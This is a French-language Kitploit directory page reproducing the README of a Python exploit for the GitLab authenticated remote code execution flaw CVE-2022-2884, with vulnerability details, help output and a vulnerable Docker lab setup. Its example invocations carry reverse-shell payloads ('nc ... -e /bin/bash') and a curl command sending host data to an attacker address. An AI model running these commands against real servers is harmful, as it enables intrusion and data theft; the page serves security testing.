Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
gitlab_rce_cve-2022-2884 — Exploite la vulnérabilité RCE authentifiée de GitLab connue sous le nom de CVE-2022-2884. | Kitploit
Outils/GitHubGitHub/m3ssap0/gitlab_rce_cve-2022-2884
Scanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubm3ssap0/gitlab_rce_cve-2022-2884

gitlab_rce_cve-2022-2884

Exploite la vulnérabilité RCE authentifiée de GitLab connue sous le nom de CVE-2022-2884.

Voir le dépôt
266il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

gitlab_rce_cve-2022-2884

Ceci est un programme Python3 qui exploite la vulnérabilité RCE authentifiée de GitLab connue sous le nom de CVE-2022-2884.

AVERTISSEMENT

Cet outil est destiné aux ingénieurs sécurité et aux personnes de l'AppSec pour des évaluations de sécurité. Veuillez utiliser cet outil de manière responsable. Je n'assume aucune responsabilité quant à la manière dont quiconque utilise cette application. Je ne suis PAS responsable des dommages causés ou des crimes commis par l'utilisation de cet outil.

Informations sur la vulnérabilité

  • CVE-ID : CVE-2022-2884
  • Lien : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2884
  • Description : Une vulnérabilité dans GitLab CE/EE affectant toutes les versions de 11.3.4 jusqu'à 15.1.5, 15.2 à 15.2.3, 15.3 à 15.3.1 permet à un utilisateur authentifié d'exécuter du code à distance via le point de terminaison de l'API Import from GitHub.
  • Lien du fournisseur : https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/

Aide

root@kitploit:~
$ ./gitlab_rce_cve-2022-2884.py --help
usage: gitlab_rce_cve-2022-2884.py [-h] -u URL -pt PRIVATE_TOKEN [-tn TARGET_NAMESPACE] -a ADDRESS [-p PORT] [-s] -c COMMAND [-d DELAY] [-v]

Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - v1.0 (2022-12-25)

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of the victim GitLab
  -pt PRIVATE_TOKEN, --private-token PRIVATE_TOKEN
                        private token of GitLab
  -tn TARGET_NAMESPACE, --target-namespace TARGET_NAMESPACE
                        target namespace of GitLab (default is 'root')
  -a ADDRESS, --address ADDRESS
                        IP address of the attacker machine
  -p PORT, --port PORT  TCP port of the attacker machine (default is 1337)
  -s, --https           set if the attacker machine is exposed via HTTPS
  -c COMMAND, --command COMMAND
                        the command to execute
  -d DELAY, --delay DELAY
                        seconds of delay to wait for the exploit to complete
  -v, --verbose         verbose mode

Exemples

root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "id | nc 1.2.3.4 6669"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- "
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "echo 'test' > /tmp/test"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" -d 180
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -p 1337 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -tn root -a 1.2.3.4 -p 1337 -s -c "nc 1.2.3.4 6669 -e /bin/bash"

Application vulnérable

Une application vulnérable peut être mise en place avec les commandes suivantes.

root@kitploit:~
export GITLAB_HOME=/srv/gitlab
docker run --detach --rm \
           --hostname gitlab.example.com \
           --publish 443:443 --publish 80:80 --publish 22:22 \
           --name vuln-gitlab \
           --volume $GITLAB_HOME/config:/etc/gitlab \
           --volume $GITLAB_HOME/logs:/var/log/gitlab \
           --volume $GITLAB_HOME/data:/var/opt/gitlab \
           --shm-size 256m \
           gitlab/gitlab-ce:15.3.0-ce.0

Le conteneur Docker peut prendre un certain temps avant de commencer à répondre aux requêtes. Ensuite, connectez-vous à http://localhost.

Connectez-vous avec le nom d'utilisateur root et le mot de passe obtenu via la commande suivante.

root@kitploit:~
docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password

Pour tester l'exploit localement, vous devez ajouter --network="host" à la commande docker run et supprimer les contraintes pour les requêtes sortantes sur GitLab :

  • connectez-vous à http://localhost/admin/application_settings/network ;
  • développez la section « Outbound requests » ;
  • cochez « Allow requests to the local network from web hooks and services » ;
  • ajoutez 127.0.0.1 dans la zone de texte « Local IP addresses and domain names that hooks and services may access » ;
  • enregistrez les modifications.

Le prérequis de l'exploit est de disposer d'un jeton privé sur GitLab :

  • connectez-vous à http://localhost/-/profile/personal_access_tokens ;
  • générez un jeton avec au moins le champ d'application (scope) api.

Auteurs

  • Antonio Francesco Sardella - implémentation principale - m3ssap0

Licence

Voir le fichier LICENSE pour plus de détails.

Remerciements

  • yvvdwf, le chercheur en sécurité qui a découvert la vulnérabilité.
Télécharger l’outil